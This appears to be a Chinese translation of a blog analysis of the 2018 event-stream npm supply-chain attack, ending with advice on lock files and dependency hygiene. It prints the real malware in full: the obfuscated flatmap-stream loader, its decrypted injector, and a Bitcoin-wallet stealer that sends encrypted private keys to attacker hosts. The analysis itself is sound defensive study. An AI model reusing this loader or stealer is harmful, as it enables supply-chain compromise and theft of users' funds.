分类「 Translation
2018-12-03
Security
event-stream
【译】event-stream 漏洞剖析

# 【译】event-stream 漏洞剖析

原文链接 https://schneid.io/blog/event-stream-vulnerability-explained/
如果你最近有留意 JavaScript,你大概已经知道了最近闹的沸沸腾腾的带有漏洞的 event-stream 了。不幸的是,关于这个漏洞的分析淹没在其 Github Issus 的六百多条评论里了,这些评论基本上都是在喷 npm 还有开源啥的,没啥意义。
在这次事故里的漏洞设计的非常聪明和讨巧,并且给我们这些 JS 开发者补了一节很有意义的安全课,我觉得理解或者讨论攻击者的攻击方式,比无意义的喷有意思多了,因此在这里写一篇关于 event-stream 这个漏洞的原理以及攻击方式,并且讨论一下 JavaScript 社区该如何更好的避免此类问题。
本文的讨论建立在 FallingSnow, maths22 还有 joepie91 这几个哥给 event-stream 做的相关的安全分析,他们的分析很有帮助,在下文我会引用他们的结果来说明,额,其实本文主要是总结了这几个哥的结论,我其实没有做什么。

# 事故背景

event-stream 很流行,它的周下载量已经超过了 190 万,它提供了一些很方便的函数在 node 里处理流。然而,这个包的仓库已经几年没有更新了,而且他原来的作者 dominicatarr 也不再维护这个包,因此这个包算是闲置了。
(dominicatarr 维护了很多 npm 包,可能没精力维护这个)
在今年差不多九月初到中旬那会,有个叫做 right@ctrl 的用户跟 dominicatarr 说他可以帮忙维护这个包,domnicatarr 同意了并吧相关的 github repo 和 npm 权限全部转交给他了。
这是当时 right@ctrl 的代码提交 commit log,看起来似乎没啥问题。
图片
图片
九月九号,right9ctrl 给项目添加了一个叫做 flatmap-stream 的依赖,用来让 event-stream 支持 flatmap 函数(对了,event-stream 本身已经实现了很多类似 map 的东西,这里加这个包没啥意义),然后,在九月十六日,right9ctrl 又把这个包移除了,并且自己在 event-stream 里实现了 flatmap 函数。额,这样来看也没啥问题,因为在项目里引用一个包,然后过几天觉得不好把它移除了自己实现一个更好的确实不算罕见。

# 攻击具体步骤

上述曾被引用过的 flatmap-stream 看起来很正常,没啥问题 —— 它确实给流实现了 flat map。当然,有一点比较需要注意的是,这个包只有 1 个 contributor,而且在 npm 上也没有下载量。
然而,恶意代码被嵌入在其中的 index.min.js 中,这个文件是这个包发布到 npm 的时候的模块主入口,相信绝大部分人都不会注意到压缩混淆过的代码:
00var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
攻击者将恶意代码故意混淆并藏在这段代码里的末尾,很难发现:
00!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
在 issue 里,FallingSnow 将这段代码 反混淆、缩进 了一下,可以看到,它本来大概长这样:
00// var r = require, t = process;
01
02// function e(r) {
03//     return Buffer.from(r, "hex").toString()
04// }
05function decode(data) {
06    return Buffer.from(data, "hex").toString()
07}
08
09// var n = r(e("2e2f746573742f64617461")),
10// var n = require(decode("2e2f746573742f64617461"))
11// var n = require('./test/data')
12var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
13// o = t[e(n[3])][e(n[4])];
14// npm_package_description = process[decode(n[3])][decode(n[4])];
15npm_package_description = process['env']['npm_package_description'];
16
17// if (!o) return;
18if (!npm_package_description) return;
19
20// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
21// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
22var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),
23
24// a = u.update(n[0], e(n[8]), e(n[9]));
25// decoded = decipher.update(n[0], e(n[8]), e(n[9]));
26decoded = decipher.update(n[0], 'hex', 'utf8');
27
28console.log(n); // IDK why this is here...
29
30// a += u.final(e(n[9]));
31decoded += decipher.final('utf8');
32
33// var f = new module.constructor;
34var newModule = new module.constructor;
35
36/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
37// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
38// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
39// newModule.paths = module.paths
40// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
41// newModule.exports(n[1])
这段代码最终是在 ./test/data.js 里调用的,当然,Gtihub Repo 里并没有这个文件,显然是作者将其 .gitignore 了,但是却偷偷的将它发布到 npm 去了。
上面这段代码是 test/data.js 里的一部分,简单的来说它是用环境变量里的 npm_package_descriptionn 解密得到一个结果 Temp,然后试着去执行 Temp,换言之,执行加密过的代码。
具体的来说,n 里其实包含了用 AES-256 加密过的字符串(密文),也就是上面代码中的变量 n 里的东西,而且值得注意的是,攻击者用 npm_package_description 这个环境变量(密钥)来解密 n,这个环境变量由 npm 设置,指的是顶层包的 package.jsondescription 字段 — 更具体的说,只要顶层包依赖了 event-stream 也就会依赖 faltmap-stream 进而 npm 会将 npm_package_description 设置为顶层包的 description 字段。
对于绝大部分父级包来说,执行上面这段代码是会报错的,但攻击者悄悄的捕获了错误并忽略了这个错误,因为一般来说,父级包的 description 字段并不能作为 n 的 AES256 密钥进行解密并输出有意义的结果的,所以,这次攻击是针对的是某个特定的包。(这个包的 description 刚好可以解密 n)
maths22 和其他人将包含了 event-stream 作为依赖的包都拉取下来并将他们的 description 硬编码到上面的代码里去跑,最后找到了被攻击的那个库: copay-dash ,这个库是一个比特币平台,它的 description 字段是,"A Secure Bitcoin Wallet",最后的解密结果如下(感谢 joepie91
00/*@@*/
01module.exports = function(e) {
02    try {
03        if (!/build\:.*\-release/.test(process.argv[2])) return;
04        var t = process.env.npm_package_description,
05            r = require("fs"),
06            i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
07            n = r.statSync(i),
08            c = r.readFileSync(i, "utf8"),
09            o = require("crypto").createDecipher("aes256", t),
10            s = o.update(e, "hex", "utf8");
11        s = "\n" + (s += o.final("utf8"));
12        var a = c.indexOf("\n/*@@*/");
13        0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {
14            try {
15                r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)
16            } catch (e) {}
17        })
18    } catch (e) {}
19};
这段代码又跑了一次解密,并且得到了最后的恶意代码:
00/*@@*/ ! function() {
01    function e() {
02        try {
03            var o = require("http"),
04                a = require("crypto"),
05                c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";
06
07            function i(e, t, n) {
08                e = Buffer.from(e, "hex").toString();
09                var r = o.request({
10                    hostname: e,
11                    port: 8080,
12                    method: "POST",
13                    path: "/" + t,
14                    headers: {
15                        "Content-Length": n.length,
16                        "Content-Type": "text/html"
17                    }
18                }, function() {});
19                r.on("error", function(e) {}), r.write(n), r.end()
20            }
21
22            function r(e, t) {
23                for (var n = "", r = 0; r < t.length; r += 200) {
24                    var o = t.substr(r, 200);
25                    n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"
26                }
27                i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)
28            }
29
30            function l(t, n) {
31                if (window.cordova) try {
32                    var e = cordova.file.dataDirectory;
33                    resolveLocalFileSystemURL(e, function(e) {
34                        e.getFile(t, {
35                            create: !1
36                        }, function(e) {
37                            e.file(function(e) {
38                                var t = new FileReader;
39                                t.onloadend = function() {
40                                    return n(JSON.parse(t.result))
41                                }, t.onerror = function(e) {
42                                    t.abort()
43                                }, t.readAsText(e)
44                            })
45                        })
46                    })
47                } catch (e) {} else {
48                    try {
49                        var r = localStorage.getItem(t);
50                        if (r) return n(JSON.parse(r))
51                    } catch (e) {}
52                    try {
53                        chrome.storage.local.get(t, function(e) {
54                            if (e) return n(JSON.parse(e[t]))
55                        })
56                    } catch (e) {}
57                }
58            }
59            global.CSSMap = {}, l("profile", function(e) {
60                for (var t in e.credentials) {
61                    var n = e.credentials[t];
62                    "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {
63                        var t = this;
64                        t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))
65                    }.bind(n))
66                }
67            });
68            var e = require("bitcore-wallet-client/lib/credentials.js");
69            e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
70                var t = this.getKeysFunc(e);
71                try {
72                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey))
73                } catch (e) {}
74                return t
75            }
76        } catch (e) {}
77    }
78    window.cordova ? document.addEventListener("deviceready", e) : e()
79}();
你可能已经猜到了,这段代码尝试去偷你的比特币钱包私钥并且将它上传到攻击者的服务器去。
更新:npm 官方已经在他们的官方时间报告中复盘了整个事件,这份文件里指出恶意代码如何运行在 Copay 的进程中,并且注入恶意代码来偷用户的比特币。
最后,总结一下:
  1. copay-dash 是一个很流行比特币客户端平台,它包含了 event-stream 作为依赖。
  2. 在九月的某天, 新的维护者 right@ctrlevent-stream 添加了 flatmap-stream 作为依赖,而且在一周后,他又把这个包移除了。
  3. flatmap-stream 这个包将恶意代码藏在了它的混淆过的代码里(也就是 minify 后的代码里);这段代码会尝试用顶层包的 description 字段来解密一段 AES256 密文。
  4. 在其他包里,这段代码会静默的处理错误(用错误的 description 来解密的时候会报错)但对于 copay-dash 来说,这会解密出来一段 JavaScript 代码,而且这段被解密出来代码又会再去跑一次解密并且得到最后的恶意代码,恶意代码会窃取用户的比特币。

# 现在呢?

event-stream 的这遭简直难以置信,这个攻击过程非常聪明和讨巧,让我不禁想起 我一月份写的一篇博客,里面讲了跟这次很像的一次攻击。不得不说,攻击者考虑的很周到,比如在 Github 的 commit log 里搞得表面上非常政策:就一个新来的维护者加进项目组,然后添加依赖,然后觉得依赖不好,自己把依赖拿掉自己重新写个更好的。此外,flatmap-stream 这个依赖比较引起注意的点也不过它是一个新的包,而且没有 contributor 以及下载量,整个攻击藏的很深,很难感知到。等两个月过去直到前几天这个攻击被发现也仅仅是因为攻击犯了 低级错误 导致的,简单的来说它用的是已经废弃的 crypto.createDecipher 而不是新版的 crypto.createDecipheriv,这个会在新一点的 node 版本里报警告,最后在 event-stream 里发现了它。
不幸的是,这种类型的攻击不会很快消失,因为 JavaScript 已经是最流行的编程语言了,而且它还非常开放,因此它非常容易被黑客利用。此外 JavaScript 相对于其他语言来说标准库里的东西比较少,社区这边鼓励开发者自己到 npm 去 import 别人的包来实现标准库可以提供的功能,也算是 JS 社区的文化 —— 所以 JavaScript 项目的依赖树都非常重。
值得注意的是,虽然 JavaScript 项目相对容易受到这类漏洞的影响,但这并不一定是 JavaScript 整体安全性降低的原因。JS 通常是被快速发展的团队采用,它们的项目更多的采用 JS 因此总要安装各种依赖,因此更容易受到这类攻击,当然,某些情况下,不及时更新依赖反而容易造成安全问题,比如 Equifax 的 Java App,他们就是因为没装 Apache Struts 中招的,在这样的情况下,快速迭代更新依赖的的 JavaScript 应用反而不容易造成问题。 总之,选择何种技术栈还是要多多权衡啊,对于具体应用来说,最重要的还是要去理解它的错误展现的模式,并且保持谨慎。
在 JavaScript 圈里,还是有很多办法防止这类攻击的,但对于我们开发者而言,注意以下两点非常重要,可以降低风险:
  1. 使用 .lock 文件,不管你用的是 yarn.lock 或者 npm 的 package-lock.json,lock 文件都可以将版本锁死,也就意味着今天安装这个包是安全的,明天再安装也还是安全的。不锁版本的话应用总是有风险的,因为每次安装包的时候都会更新到最新的,天知道哪个包又在偷鸡摸狗了,所以有可能你下一次部署就中招了,而有了 lock 文件,你升级包都要自己手动升级,然后升级了之后 review 一下代码和执行流程以确保万无一失。
  2. install 前再想想,计算机安全没有银弹,对于攻击者来说将恶意代码混进混淆过的代码里实在是太容易了,而且就算你知道这段混淆的代码有问题,你也很难找出来在哪。有个简单的规避风险的方法就是尽可能的去装哪些流行的、维护的比较好的包。简而言之,在你安装一个依赖去实现某个功能前,最好再问问自己需不需要,如果你已经直到了怎么写了而且也就自己写几十行的事,我还是建议你自己去写,而不是去装一个新的。好吧,如果你确实要装,建议再去看看这个包的下载量如何或者这个包最近还有没有在维护,或者这个包最近还有没有更新,如果没有的话,最好还是自己把代码 fork 下来,自己用这个 fork 的仓库发布到 npm 并且直接从 GitHub 安装这个依赖。以上都可以规避被攻击的风险,当然如果你还是不放心,可以去读一下混淆过的代码,看看到底有没有问题。




回到顶部